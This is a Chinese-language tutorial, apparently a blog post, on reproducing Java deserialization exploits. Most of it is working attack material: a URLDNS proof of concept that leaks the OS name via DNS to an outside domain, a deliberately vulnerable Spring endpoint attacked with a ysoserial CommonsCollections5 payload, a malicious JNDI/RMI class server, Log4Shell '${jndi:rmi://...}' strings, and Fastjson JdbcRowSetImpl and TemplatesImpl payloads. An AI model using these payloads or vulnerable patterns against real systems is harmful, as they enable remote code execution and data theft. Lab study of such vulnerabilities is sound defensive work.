JAVA反序列化漏洞

122 阅读13分钟

Java反序列化漏洞

1.序列化与反序列化概述

序列化(Serialization)是将对象的状态信息转换为可以存储或传输的形式过程。对象转换为字节流,以便可以将其保存到磁盘上或通过网络传输到另一个网络节点。反序列化是将字节流转换为对象

序列化
将对象状态信息 转换为 可以 存储和传输的形势过程
在java中,通常是将对象转换为字节流
对象 的 状态 信息 ---转化为---->可以存储和传输的形式
反序列化
将已序列化的数据恢复为对象

1.1序列化基础概念

为了能够序列化,一个类必须实现java.io.Serializable接口。这是一个标记接口(没有方法的接口),用于告知JVM该类的对象可以被序列化。

序列化过程涉及使用java.io.ObjectOutputStream类。它包装了一个底层的OutputStream,比如FileOutputStream,用于将序列化的对象数据写入文件或其他类型的流。

序列化 必须实现 java.io.Serializable
1.1.1序列化实现
import sun.plugin2.message.Serializer;

import java.io.*;

public class Serialize_test_1  implements Serializable {
    private String name ;
    private String sex;
    private int age;

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public String getSex() {
        return sex;
    }

    public void setSex(String sex) {
        this.sex = sex;
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }

    @Override
    public String toString() {
        return "Serialize_test_1{" +
                "name='" + name + '\'' +
                ", sex='" + sex + '\'' +
                ", age=" + age +
                '}';
    }

    public static void main(String[] args) {
        Serialize_test_1 st = new Serialize_test_1();
        st.setName("张三");
        st.setAge(18);
        st.setSex("男");
        try {
            //文件输出流 尝试打开文件
            //文件的输出管道
            FileOutputStream fot = new FileOutputStream("D:\\JavaProject\\Serialize_demon_1\\a.ser");
            //在文件输出的管道基础上构建一个对象输出的管道
            ObjectOutputStream oos = new ObjectOutputStream(fot);
            //序列化并且写入文件
            oos.writeObject(st);
            System.out.println("序列化成功~");
        } catch (FileNotFoundException e) {
            throw new RuntimeException(e);
        } catch (IOException e) {
            throw new RuntimeException(e);
        }

    }
}
1.1.2反序列化实现
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;

public class UnSerialize_test_2 {
    public static void main(String[] args) {
        try {
            //文件管道
            FileInputStream fis = new FileInputStream("D:\\JavaProject\\Serialize_demon_1\\a.ser");
            //对象管道
            ObjectInputStream ois = new ObjectInputStream(fis);
            //反序列化 强转类型
            Serialize_test_1 st = (Serialize_test_1) ois.readObject();
            System.out.println("反序列化成功");
            System.out.println(st);
        } catch (IOException e) {
            throw new RuntimeException(e);
        } catch (ClassNotFoundException e) {
            throw new RuntimeException(e);
        }
    }
}

image-20241130113829799

2.HashMap漏洞

2.1HashMap类
// HashMap 天生自带 Serializable 还自带序列化ID 可以被序列化
public class HashMap<K,V> extends AbstractMap<K,V>
    implements Map<K,V>, Cloneable, Serializable {
    private static final long serialVersionUID = 362498820763181265L;
}
序列化 必须实现 java.io.Serializable 通过HashMap让我们不用实现Serializable接口也能序列化
2.2HashMap序列化
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutput;
import java.io.ObjectOutputStream;
import java.util.HashMap;

public class HashMap_Serialize {
    //serializeMap方法 传入  HashMap 对象 path
    //HashMap类可以序列化,主类不用实现Serializable接口也可以序列化
    public void serializeMap(HashMap<String,String> map, String path){
        try {
            FileOutputStream fos = new FileOutputStream(path);
            ObjectOutputStream oos = new ObjectOutputStream(fos);
            oos.writeObject(map);
            System.out.println("序列化完成");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }

    public static void main(String[] args) {
        HashMap_Serialize hms = new HashMap_Serialize();
        HashMap<String, String> map = new HashMap<>();
        //put加数据
        map.put("name","张三");
        map.put("age","18");
        hms.serializeMap(map,"D:\\JavaProject\\Serialize_demon_1\\b.ser");
    }
}
2.3HashMap反序列化
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.util.HashMap;

public class HashMap_UnSerialize {
   			//返回类型 HashMap<String,String>
   public  HashMap<String,String> UnSerializeMap (String path){
       try {
           FileInputStream fis = new FileInputStream(path);
           ObjectInputStream ois = new ObjectInputStream(fis);
           //强转类型
           HashMap<String,String> map= (HashMap<String,String>)ois.readObject();
           System.out.println("反序列化完成");
           //return map
           return map;
       } catch (IOException e) {
           throw new RuntimeException(e);
       } catch (ClassNotFoundException e) {
           throw new RuntimeException(e);
       }

   }

    public static void main(String[] args) {
        HashMap_UnSerialize hms = new HashMap_UnSerialize();
        HashMap<String,String> map = hms.UnSerializeMap("D:\\JavaProject\\Serialize_demon_1\\b.ser");
        System.out.println(map);
    }
}

image-20241130114701834

2.4HashMap原理
2.4.1序列化原理
//writeObject方法
private void writeObject(java.io.ObjectOutputStream s)
    throws IOException {
    //这句话的代码就是序列化的底层逻辑
    internalWriteEntries(s);  ---->
        Node<K,V>[] tab;//设置一个空的Node对象数组
        //if就是判断Map里面是不是没有元素
        if (size > 0 && (tab = table) != null) {
            //遍历Map中的所有元素
            for (int i = 0; i < tab.length; ++i) {
                //空数组中有元素(冲突),串成链表
                for (Node<K,V> e = tab[i]; e != null; e = e.next) {
                    s.writeObject(e.key);
                    s.writeObject(e.value);
                }
            }
        }
}
2.4.2反序列化代码
//readObject 方法
private void readObject(ObjectInputStream s)
    throws IOException, ClassNotFoundException {
        Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
        table = tab;
        // Read the keys and values, and put the mappings in the HashMap
        for (int i = 0; i < mappings; i++) {
            @SuppressWarnings("unchecked")
                K key = (K) s.readObject();
            @SuppressWarnings("unchecked")
                V value = (V) s.readObject();
            //最重要的,反序列化能够利用的代码,就是这一句话,在put的时候,
            //会触发hash(key)--->key.hashCode();
            putVal(hash(key), key, value, false, false);
        }
    }
}
2.5HashMap漏洞 - URLDNS外带
//最重要的,反序列化能够利用的代码,就是这一句话,在put的时候,
//会触发hash(key)--->key.hashCode();

URL url = new URL("http://dlrb.eiyxxqlgmo.dgrh3.cn");
url.hashCode(); // hashCode 会发起网络请求,可以使用本地的DNSLog
通过调试分析 需要将域名解析为IP地址 类似 nslookup 会进行访问
InetAddress.getByName("DNS地址");
2.5.1触发总结
对HashMap 反序列化 使用 readObject方法 会触发 hash(key)方法 然后会触发 key.hashCode()方法 url.hashcode()会发起网络请求

image-20241130151754381

2.6漏洞复现
2.6.1存在漏洞的代码
//反序列化HashMap
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.util.HashMap;

public class HashMap_Vulnerability {
    //漏洞利用代码
    //反序列化 HashMap
    public static HashMap<Object, Object> unserializeMap(String path) {
        try {
            FileInputStream fi = new FileInputStream(path);
            ObjectInputStream oss = new ObjectInputStream(fi);
            HashMap<Object, Object> map = (HashMap<Object, Object>) oss.readObject();
            System.out.println("反序列化完成~");
            return map;
        } catch (IOException e) {
            throw new RuntimeException(e);
        } catch (ClassNotFoundException e) {
            throw new RuntimeException(e);
        }
    }

    public static void main(String[] args) {
        //实战中如果存在漏洞 这里path路径要用户可控 让其反序列化poc
        String path = "D:\\JavaProject\\Serialize_demon_1\\c.ser";
        unserializeMap(path);
    }
}
2.6.2poc构造
关键流程
//序列化HashMap对象 
//map.put(url,"Sailboat"); 设置key为url
//URL url = new URL("http://" + 携带数据 + ".DNSip地址");
//hashCode.set(url,-1);
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;

public class HashMap_Serializable_Vulnerability_Poc {
    //serializeMap方法 传入  HashMap 对象 path
    //HashMap类可以序列化,主类不用实现Serializable接口也可以序列化
    public void serializeMap(HashMap<Object,Object> map, String path){
        try {
            FileOutputStream fos = new FileOutputStream(path);
            ObjectOutputStream oos = new ObjectOutputStream(fos);
            oos.writeObject(map);
            System.out.println("序列化完成");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }

    public static void main(String[] args) {
        try {
            //创建对象
            HashMap_Serializable_Vulnerability_Poc hms = new HashMap_Serializable_Vulnerability_Poc();
            //创建HashMap
            HashMap<Object, Object> map = new HashMap<>();
            //获得系统名字 replace 替换空格为空
            String osName = System.getProperty("os.name").replace(" ", "");
            //创建url 并且赋值
            URL url = new URL("http://" + osName + ".ipzdumeozi.iyhc.eu.org");
            //反射url 属性
            //getDeclaredField方法用于获取指定类中声明的一个特定名称的字段,包括私有(private)、受保护(protected)、默认(没有修饰符)和公共(public)的字段。
            Field hashCode = url.getClass().getDeclaredField("hashCode");
            //授权可以set
            hashCode.setAccessible(true);
            // poc 生成 序列化的文件 poc 会存在一个问题 hashCode != -1 我们需要使用反射来设置值
            //set(对象,值)
            hashCode.set(url,-1);
            map.put(url,"Sailboat");
            hms.serializeMap(map, "D:\\JavaProject\\Serialize_demon_1\\c.ser");
        } catch (MalformedURLException e) {
            throw new RuntimeException(e);
        } catch (NoSuchFieldException e) {
            throw new RuntimeException(e);
        } catch (IllegalAccessException e) {
            throw new RuntimeException(e);
        }

    }
}

image-20241130155241870

通过YAKit DNS反连 成功接收到dnsLog携带的数据 复现成功

image-20241130155445474

3.SpringBoot反序列化漏洞(使用CC链攻击)

3.1搭建项目

image-20241130161000978 image-20241130161133908
3.1.1添加依赖
<dependency>
  <groupId>commons-collections</groupId>
  <artifactId>commons-collections</artifactId>
  <version>3.1</version>
</dependency
cc-3.1

image-20241130161924782

3.2构建存在漏洞代码

package com.example.demo.demos.web;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import javax.servlet.http.HttpServletRequest;
import java.io.EOFException;
import java.io.IOException;
import java.io.ObjectInputStream;
@RestController
@RequestMapping("/api/v1/test")
public class TestController {
    @GetMapping("/hello")
    public String hello() {
        return "Hello, Hacker!";
    }
    @PostMapping("/rmi")
    public String rmi(HttpServletRequest request) {
        try {
        	//对象输入管道
            ObjectInputStream ois = new ObjectInputStream(request.getInputStream());
            //反系列化
            Object obj = (Object) ois.readObject();
            return "结果 " + obj.getClass().getName() + " ok";
        } catch (EOFException e) {
            return "输入流结束";
        } catch (IOException e) {
            return "IO流错误";
        } catch (ClassNotFoundException e) {
            return "类错误";
        } catch (NullPointerException e) {
            return "请求输入流为空";
        }
    }
}

3.3漏洞利用

3.3.1利用前提
cc版本3.1
<dependency>
  <groupId>commons-collections</groupId>
  <artifactId>commons-collections</artifactId>
  <version>3.1</version>
</dependency>

HttpServletRequest request
ObjectInputStream ois = new ObjectInputStream(request.getInputStream());
Object obj = (Object) ois.readObject();
3.3.2漏洞复现
1. 使用ysoserial 生成 payload 千万不要使用 终端 一定要使用 cmd
java -jar ysoserial.jar CommonsCollections5 "calc.exe" > poc

CommonsCollections2 => CC2链
CommonsCollections5 => CC5链
CommonsCollections6 => CC6链
2.下载 httpie 向服务器发送请求的模块
 python -m pip install --upgrade pip wheel
 python -m pip install httpie
3.打poc
 http post http://127.0.0.1:8181/api/v1/test/rmi < poc

image-20241130164730315

复现成功
1.生成poc 2.打poc

3.4漏洞解析 - CommonsCollections5

public BadAttributeValueExpException getObject(final String command) throws Exception {
    final String[] execArgs = new String[] { command };
    // inert chain for setup
    //执行“链条”该类的transform会调用transformer使用反射执行命令
    final Transformer transformerChain = new ChainedTransformer(
    new Transformer[]{new ConstantTransformer(1)});
    // real chain for after setup
    final Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[] {
                String.class, Class[].class }, new Object[] {
                "getRuntime", new Class[0] }),
            new InvokerTransformer("invoke", new Class[] {
                Object.class, Object[].class }, new Object[] {
                null, new Object[0] }),
            new InvokerTransformer("exec",
                new Class[] { String.class }, execArgs),   // 这里是我们输入的命令 calc.exe 
            new ConstantTransformer(1) };
    final Map innerMap = new HashMap();
    final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);  // 该类的get接口如果输入的key找不到会调用transform函数触发命令执行
    TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");  // 该类的toString会最终调用lazyMap.get
    BadAttributeValueExpException val = new BadAttributeValueExpException(null); // 最终反序列化的类,readObject会调用entry.toString
    Field valfield = val.getClass().getDeclaredField("val");
    Reflections.setAccessible(valfield);
    valfield.set(val, entry);
    Reflections.setFieldValue(transformerChain, "iTransformers", transformers); 
    return val;
}

最终反序列化的对象为 javax.management.BadAttributeValueExpException ,在该类提供了 readObject 方法,在其中有问题的地方为val = valObj.toString();,这里的 valObj 为 TiedMapEntry(lazyMap, “foo”) ,该类的toString方法

public String toString() {
    return this.getKey() + "=" + this.getValue();
}

其中 this.getValue 为

public Object getValue() {
    return this.map.get(this.key);
}

而 this.map 为 lazyMap = LazyMap.decorate(innerMap, transformerChain),在 lazyMap 中

public Object get(Object key) {
    if (!super.map.containsKey(key)) {  // 当找不到key的时候调用transform
        Object value = this.factory.transform(key);
        super.map.put(key, value);
        return value;
    } else {
        //关键实现
        return super.map.get(key);
    }
}

在其中看到,没有找到key的时候,调用了 this.factory.transform(key),而 this.factory为我们构造的包含payload的执行链 transformerChain 该transformer会最终通过反射执行命令。

3.5工具打包

1. 进入项目文件夹
2. 下载相关依赖
    mvn install
3. 进行打包操作
   mvn package
4. 文件存放
   \target目录下
image-20241130171209600

4.JNDI与rmi

RMI(Remote Method Invocation)

RMI是一种Java的远程方法调用机制,全名为远程方法调用

img

从逻辑上来看,数据是在Client和Server之间横向流动的,但是实际上是从Client到Stub,然后从Skeleton到Server这样纵向流动的。

1、Server端监听一个端口,这个端口是JVM随机选择的;

2.Client端并不知道Server远程对象的通信地址和端口,但是Stub中包含了这些信息,并封装了底层网络操作;

3、Client端可以调用Stub上的方法;

4、Stub连接到Server端监听的通信端口并提交参数;

5、远程Server端上执行具体的方法,并返回结果给Stub;

6、Stub返回执行结果给Client端,从Client看来就好像是Stub在本地执行了这个方法一样;

整个过程中的数据都是以字节序列的方式传递的,也就是最终一定会经过反序列化。

同时JDK提供了一个RMI.Registry包来解决获取对应对象Stub的问题。包中有类可以创建一个RMI注册表服务,这个服务一般开启在1099端口,客户端可以通过与服务器的1099端口进行通信来获得自己想访问的对象的Stub信息。

户端本地必须有远程对象的接口,不然无法指定要调用的方法,而且其全限定名必须与服务器上的对象完全相同。

说的简单一点就是,如果本地需要调用远程点对象,那么本地首先得声明一下这个远程对象以及需要调用的方法,但不需要写对象细节或者方法细节,有个名字就行,或者说写一个接口就行。

那如果我们需要调用一个远程对象,这时候就要使用动态加载类。

JNDI(Java Naming and Directory Interface)

Java 命名和目录接口 (JNDI) 是一种 Java API,它允许 Java 软件客户端通过名称发现和查找数据和对象。JNDI 提供了一个通用接口,用于访问不同的命名和目录服务,例如 LDAP、DNS 和 NIS 提供的服务。JNDI 可用于访问 Java EE 应用程序中的数据库、队列和 EJB(Enterprise JavaBeans)等资源,也可用于通过 RMI(远程方法调用)或 CORBA(通用对象请求代理架构)访问远程对象。

漏洞原理:

JNDI 注入,即当开发者在定义 JNDI 接口初始化时,lookup() 方法的参数可控,攻击者就可以将恶意的 url 传入参数远程加载恶意载荷,造成注入攻击。

利用流程

image-20241209121010835

RMI服务器、远程存放字节码服务器、目标服务器

恶意代码生成

一般恶意代码需要编译成class文件,并放在搭建好的http服务器下

javac -encoding UTF-8 java文件
python -m http.server 8989
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.util.Hashtable;
public class Shell implements ObjectFactory {
	//计算器调用
    public Shell() throws IOException {
        Runtime.getRuntime().exec("calc");
    }
    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {		  //注册表调用
        Runtime.getRuntime().exec("regedit");
        return null;
    }
}
rmi服务器
image-20241202105447296
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIServer {
    public static void main(String[] args) {
        Registry registry = null;
        try {
            // rmi 2323服务器开启端口
            registry = LocateRegistry.createRegistry(2323);
            // 参数1 类名 参数2 工厂调用(构造函数) 参数3 远程地址   8989 代码存放地址
            Reference reference = new Reference("Shell", "Shell", "http://127.0.0.1:8989/");
            ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
            System.out.println("rmiServer -> rmi://127.0.0.1:2323/shell");
            System.out.println("JNDI -> ${jndi:rmi://127.0.0.1:2323/shell}");
            registry.bind("shell",referenceWrapper);
        } catch (RemoteException e) {
            throw new RuntimeException(e);
        } catch (NamingException e) {
            throw new RuntimeException(e);
        } catch (AlreadyBoundException e) {
            throw new RuntimeException(e);
        }
    }
}

5、Log4j漏洞复现

Log4j 是一个强大的 日志记录 框架,主要用于java程序。 Log4j曾出现过严重的安全漏洞。Log4j2漏洞。这个漏洞的原理是:使用log4j的java API 来记录日志。然而没有对用户输入进行任何过滤或验证。用户输入恶意代码会被记录在日志文件中。log4j的默认配置,允许解析日志中的对象。 攻击者可以构造恶意的日志消息,其中包含一个恶意的Java对象,当log4j尝试解析这个对象时,它将会触发漏洞,导致攻击者能够执行任意代码。

image-20241202103712298

image-20241202103832796

image-20241202103953052 image-20241202104153304
1. maven 构建项目
2. pom.xml 添加依赖
<dependencies>
    <dependency>
        <groupId>org.apache.logging.log4j</groupId>
        <artifactId>log4j-core</artifactId>
        <version>2.14.1</version>
    </dependency>
</dependencies>
存在漏洞代码
public class Log4jVulnerableApp {
    public static void main(String[] args) {
        // u121, java超过这个版本要设置参数
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
        // u221,java超过这个版本要设置参数
        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
        Logger logger = LogManager.getLogger();
        String username = "${jndi:rmi://127.0.0.1:2323/shell}";//当此输入点 用户可控 漏洞存在
        logger.error("error: " + username);//执行恶意代码
    }
}
运行代码会发现出现两次弹窗,可以尝试Windows反弹RCE
漏洞触发流程

image-20241202130609113

1.攻击者公网服务器开启http服务,允许恶意代码.class被访问

python -m http.server 8989

2.攻击者服务器开启RMI服务器可以在本机,ip指向恶意代码服务器即可

3.目标靶机运行漏洞代码

4.拿下shell

windows 会乱码 chcp 65001 设置解决乱码
image-20241225115357151

拿下靶机

漏洞原理

Log4j漏洞主要是由于其提供的lookup功能下的JndiLookup模块出现问题所导致的。当开发人员在处理数据时,并没有对用户输入的信息进行判断,导致Log4j请求远程主机上的含有恶意代码的资源并执行其中的代码。这里使用rmi或者ldap差不多。

没有对用户输入进行判断 导致Log4j请求远程主机的恶意代码,并执行。
image-20241128105033757

6.Fastjson

FastJson是阿里巴巴开发的java语言编写的开源Json库,主要用于将java对象转换为JSON字符串,以及将字符串转回java对象。FastJson以其高性能和易用性著称,广泛用户各种java开发场景中。

Fastjson 有一个非常好用的特色功能: AutoType,写作: @type。它本意是能够在反序列化时指定类型,从而方便后续的开发操作。这个过程中,反序列化出来的信息是通过 setXXX 方法写入 @type 指定的类中的。

特性 fastjson 遇见 @ 开头的就会自动加载

构建项目 - 新建
1. maven 构建项目
2. pom.xml 添加依赖
<dependencies>
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-core</artifactId>
            <version>2.14.1</version>
        </dependency>
</dependencies>
程序员的世界(正常使用)
JSON.toJSONString  转换为json字符串
JSON.parseObject 

import java.util.HashMap;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;

public class FastJson_Apply {
    public static void main(String[] args) {
        HashMap<String, String> map = new HashMap<String,String>();
        map.put("name","kk");
        map.put("age","28");
        System.out.println(map);//{name=kk, age=28}
        //java -> Json
        String jsonStr = JSON.toJSONString(map);
        System.out.println(jsonStr);//{"name":"kk","age":"28"}
        //Json -> Java
        JSONObject jsonObject = JSON.parseObject(jsonStr);
        System.out.println(jsonObject.get("name"));//kk 变为对象可以使用方法获取属性
    }
fastjson 危险代码
fast json dns 外带
{"@type":"java.net.InetAddress","val":"test.bpykdsdcoq.yutu.eu.org"}

fastjson JdbcRowSetImpl利用链恶意代码执行
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:2323/shell","autoCommit":true}

fastjson TemplatsImpl利用链恶意代码执行 base64版本
{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["base64字符串"],"_name":"asb","_tfactory":{ },"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}
dns 探测
import com.alibaba.fastjson.JSON;

public class FastJsonVulnerable_Apply_DnsLog {
    public static void main(String[] args) {
        String payload = "{\"@type\":\"java.net.InetAddress\",\"val\":\"test.hfwtrdfnys.dgrh3.cn\"}";
        JSON.parseObject(payload);
    }
}
无所谓报错,不影响代码执行
image-20241203200454843
fastjson JdbcRowSetImpl 恶意代码执行

要开启rmi服务器

import com.alibaba.fastjson.JSON;
public class FastJsonVulnerableApp2 {
    public static void main(String[] args) {
        // u121, java超过这个版本要设置参数
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
        // u221,java超过这个版本要设置参数
        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
        try {
            String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:2323/shell\",\"autoCommit\":true}";
            JSON.parseObject(payload);
        } catch (Exception e) {
            System.out.println("Fastjson Error: " + e.getMessage());
        }
    }
}

image-20241128143515605

原理:也是反序列化漏洞,会触发lookup进行的反序列化


Fastjson TemplatesImpl 恶意代码执行 base64版本 - 恶意代码
import java.io.IOException;
public class FastJsonPOC extends AbstractTranslet {
    public FastJsonPOC() throws IOException {
        Runtime.getRuntime().exec("calc.exe");
    }
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
}
将其变成class
javac -encoding UTF-8 .\FastJsonPOC.java

一、

1. `将其变成class`
2. `javac -encoding UTF-8 .\FastJsonPOC.java`
image-20241203200931918

image-20241203201210667

二、Java base64加密 加密class文件

import java.io.ByteArrayOutputStream;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.IOException;
import java.util.Base64;

public class Java_base64 {
    public static void main(String[] args) {
        try {
            FileInputStream fileInputStream = new FileInputStream("D:\\JavaProject\\FastJson_Vulnerable\\src\\main\\java\\FastJsonVulnerable_Poc.class");
            byte[] buf = new byte[1024];
            int readLength = 0;
            ByteArrayOutputStream byteBuff = new ByteArrayOutputStream();
            while ((readLength = fileInputStream.read(buf)) != -1) {
                byteBuff.write(buf, 0, readLength);
            }
            byte[] classBuf = byteBuff.toByteArray();
            String finalStr = new String(Base64.getEncoder().encode(classBuf));
            System.out.println(finalStr);
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

image-20241203202214727

三、fastjson TemplatesImpl 恶意代码执行 base64版本 - 漏洞代码

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;

public class FastJsonVulnerable_Base64_Apply {
    public static void main(String[] args) {
        try {
            String payload = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"BASE64编码\"],'_name':'asd','_tfactory':{},\"_outputProperties\":{ }}";
            JSON.parseObject(payload, Feature.SupportNonPublicField);
        } catch (Exception e) {
            System.out.println("Fastjson Error: " + e.getMessage());
        }
    }
}

image-20241203202014166

漏洞复现成功
image-20241128161251921 image-20241128161615676